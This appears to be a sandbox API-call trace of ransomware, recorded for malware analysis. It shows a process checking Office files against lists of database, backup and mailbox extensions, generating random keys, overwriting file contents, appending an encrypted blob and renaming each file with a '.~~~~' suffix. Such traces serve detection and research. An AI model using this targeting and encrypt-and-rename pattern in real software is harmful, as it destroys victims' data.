	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0146.314] lstrlenW (lpString=".OST") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0146.314] lstrlenW (lpString=".dbx") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0146.314] lstrlenW (lpString=".DB3") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0146.314] lstrlenW (lpString=".DAT") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0146.314] lstrlenW (lpString=".VHDX") returned 5
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0146.314] lstrlenW (lpString=".ndf") returned 4
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0146.314] lstrlenW (lpString=".DB") returned 3
	[0146.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0146.314] lstrlenW (lpString=".sql") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0146.315] lstrlenW (lpString=".MYD") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0146.315] lstrlenW (lpString=".DBT") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0146.315] lstrlenW (lpString=".ACCDB") returned 6
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0146.315] lstrlenW (lpString=".fdb") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0146.315] lstrlenW (lpString=".bak") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0146.315] lstrlenW (lpString=".myd") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0146.315] lstrlenW (lpString=".DTXS") returned 5
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0146.315] lstrlenW (lpString=".ckp") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0146.315] lstrlenW (lpString=".dbt") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0146.315] lstrlenW (lpString=".db") returned 3
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0146.315] lstrlenW (lpString=".TXT") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0146.315] lstrlenW (lpString=".MDF") returned 4
	[0146.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0146.315] lstrlenW (lpString=".bdb") returned 4
	[0146.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0146.316] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.316] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0146.317] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.317] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.317] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26630749386) returned 1
	[0146.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0a47f30, dwHighDateTime=0x1d60e1e)) 
	[0146.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac548
	[0146.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac548 | out: hHeap=0x300000) returned 1
	[0146.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0146.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.360] GetLastError () returned 0x0
	[0146.360] GetLastError () returned 0x0
	[0146.361] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.361] GetLastError () returned 0x0
	[0146.361] GetLastError () returned 0x0
	[0146.361] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.364] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.364] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.366] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.368] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.368] CloseHandle (hObject=0x10c) returned 1
	[0146.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0146.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.~~~~")) returned 1
	[0146.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.372] GetLastError () returned 0x0
	[0146.372] RtlWakeConditionVariable () returned 0x0
	[0146.372] GetCurrentThreadId () returned 0x9f4
	[0146.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".scr") returned 0x0
	[0146.372] lstrlenW (lpString=".cmd") returned 4
	[0146.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".cmd") returned 0x0
	[0146.372] lstrlenW (lpString=".dll") returned 4
	[0146.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dll") returned 0x0
	[0146.373] lstrlenW (lpString=".bat") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".bat") returned 0x0
	[0146.373] lstrlenW (lpString=".cpl") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".cpl") returned 0x0
	[0146.373] lstrlenW (lpString=".sys") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".sys") returned 0x0
	[0146.373] lstrlenW (lpString=".msc") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".msc") returned 0x0
	[0146.373] lstrlenW (lpString=".com") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".com") returned 0x0
	[0146.373] lstrlenW (lpString=".lnk") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".lnk") returned 0x0
	[0146.373] lstrlenW (lpString=".msp") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".msp") returned 0x0
	[0146.373] lstrlenW (lpString=".pif") returned 4
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".pif") returned 0x0
	[0146.373] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.376] lstrlenW (lpString=".sqb") returned 4
	[0146.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".sqb") returned 0x0
	[0146.376] lstrlenW (lpString=".ost") returned 4
	[0146.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".ost") returned 0x0
	[0146.376] lstrlenW (lpString=".txt") returned 4
	[0146.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".txt") returned 0x0
	[0146.376] lstrlenW (lpString=".mdt") returned 4
	[0146.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".mdt") returned 0x0
	[0146.377] lstrlenW (lpString=".BDB") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".BDB") returned 0x0
	[0146.377] lstrlenW (lpString=".eql") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".eql") returned 0x0
	[0146.377] lstrlenW (lpString=".DBF") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DBF") returned 0x0
	[0146.377] lstrlenW (lpString=".EQL") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".EQL") returned 0x0
	[0146.377] lstrlenW (lpString=".FDB") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".FDB") returned 0x0
	[0146.377] lstrlenW (lpString=".EDB") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".EDB") returned 0x0
	[0146.377] lstrlenW (lpString=".DACPAC") returned 7
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.377] lstrlenW (lpString=".VHD") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".VHD") returned 0x0
	[0146.377] lstrlenW (lpString=".DBV") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DBV") returned 0x0
	[0146.377] lstrlenW (lpString=".dacpac") returned 7
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dacpac") returned 0x0
	[0146.377] lstrlenW (lpString=".sdf") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".sdf") returned 0x0
	[0146.377] lstrlenW (lpString=".accdb") returned 6
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".accdb") returned 0x0
	[0146.377] lstrlenW (lpString=".DBX") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DBX") returned 0x0
	[0146.377] lstrlenW (lpString=".MDT") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".MDT") returned 0x0
	[0146.377] lstrlenW (lpString=".SQB") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".SQB") returned 0x0
	[0146.377] lstrlenW (lpString=".vhd") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".vhd") returned 0x0
	[0146.377] lstrlenW (lpString=".bac") returned 4
	[0146.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".bac") returned 0x0
	[0146.378] lstrlenW (lpString=".mdf") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".mdf") returned 0x0
	[0146.378] lstrlenW (lpString=".BAK") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".BAK") returned 0x0
	[0146.378] lstrlenW (lpString=".BAC") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".BAC") returned 0x0
	[0146.378] lstrlenW (lpString=".dbs") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dbs") returned 0x0
	[0146.378] lstrlenW (lpString=".vhdx") returned 5
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".vhdx") returned 0x0
	[0146.378] lstrlenW (lpString=".NDF") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".NDF") returned 0x0
	[0146.378] lstrlenW (lpString=".dat") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dat") returned 0x0
	[0146.378] lstrlenW (lpString=".DBS") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DBS") returned 0x0
	[0146.378] lstrlenW (lpString=".CKP") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".CKP") returned 0x0
	[0146.378] lstrlenW (lpString=".edb") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".edb") returned 0x0
	[0146.378] lstrlenW (lpString=".PST") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".PST") returned 0x0
	[0146.378] lstrlenW (lpString=".dbf") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dbf") returned 0x0
	[0146.378] lstrlenW (lpString=".SQL") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".SQL") returned 0x0
	[0146.378] lstrlenW (lpString=".pst") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".pst") returned 0x0
	[0146.378] lstrlenW (lpString=".dbv") returned 4
	[0146.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dbv") returned 0x0
	[0146.378] lstrlenW (lpString=".SDF") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".SDF") returned 0x0
	[0146.379] lstrlenW (lpString=".dtxs") returned 5
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dtxs") returned 0x0
	[0146.379] lstrlenW (lpString=".db3") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".db3") returned 0x0
	[0146.379] lstrlenW (lpString=".OST") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".OST") returned 0x0
	[0146.379] lstrlenW (lpString=".dbx") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dbx") returned 0x0
	[0146.379] lstrlenW (lpString=".DB3") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DB3") returned 0x0
	[0146.379] lstrlenW (lpString=".DAT") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DAT") returned 0x0
	[0146.379] lstrlenW (lpString=".VHDX") returned 5
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".VHDX") returned 0x0
	[0146.379] lstrlenW (lpString=".ndf") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".ndf") returned 0x0
	[0146.379] lstrlenW (lpString=".DB") returned 3
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DB") returned 0x0
	[0146.379] lstrlenW (lpString=".sql") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".sql") returned 0x0
	[0146.379] lstrlenW (lpString=".MYD") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".MYD") returned 0x0
	[0146.379] lstrlenW (lpString=".DBT") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DBT") returned 0x0
	[0146.379] lstrlenW (lpString=".ACCDB") returned 6
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.379] lstrlenW (lpString=".fdb") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".fdb") returned 0x0
	[0146.379] lstrlenW (lpString=".bak") returned 4
	[0146.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".bak") returned 0x0
	[0146.379] lstrlenW (lpString=".myd") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".myd") returned 0x0
	[0146.380] lstrlenW (lpString=".DTXS") returned 5
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".DTXS") returned 0x0
	[0146.380] lstrlenW (lpString=".ckp") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".ckp") returned 0x0
	[0146.380] lstrlenW (lpString=".dbt") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".dbt") returned 0x0
	[0146.380] lstrlenW (lpString=".db") returned 3
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".db") returned 0x0
	[0146.380] lstrlenW (lpString=".TXT") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".TXT") returned 0x0
	[0146.380] lstrlenW (lpString=".MDF") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".MDF") returned 0x0
	[0146.380] lstrlenW (lpString=".bdb") returned 4
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".bdb") returned 0x0
	[0146.380] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.380] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3961e0) returned 1
	[0146.381] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.381] CryptReleaseContext (hProv=0x3961e0, dwFlags=0x0) returned 1
	[0146.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
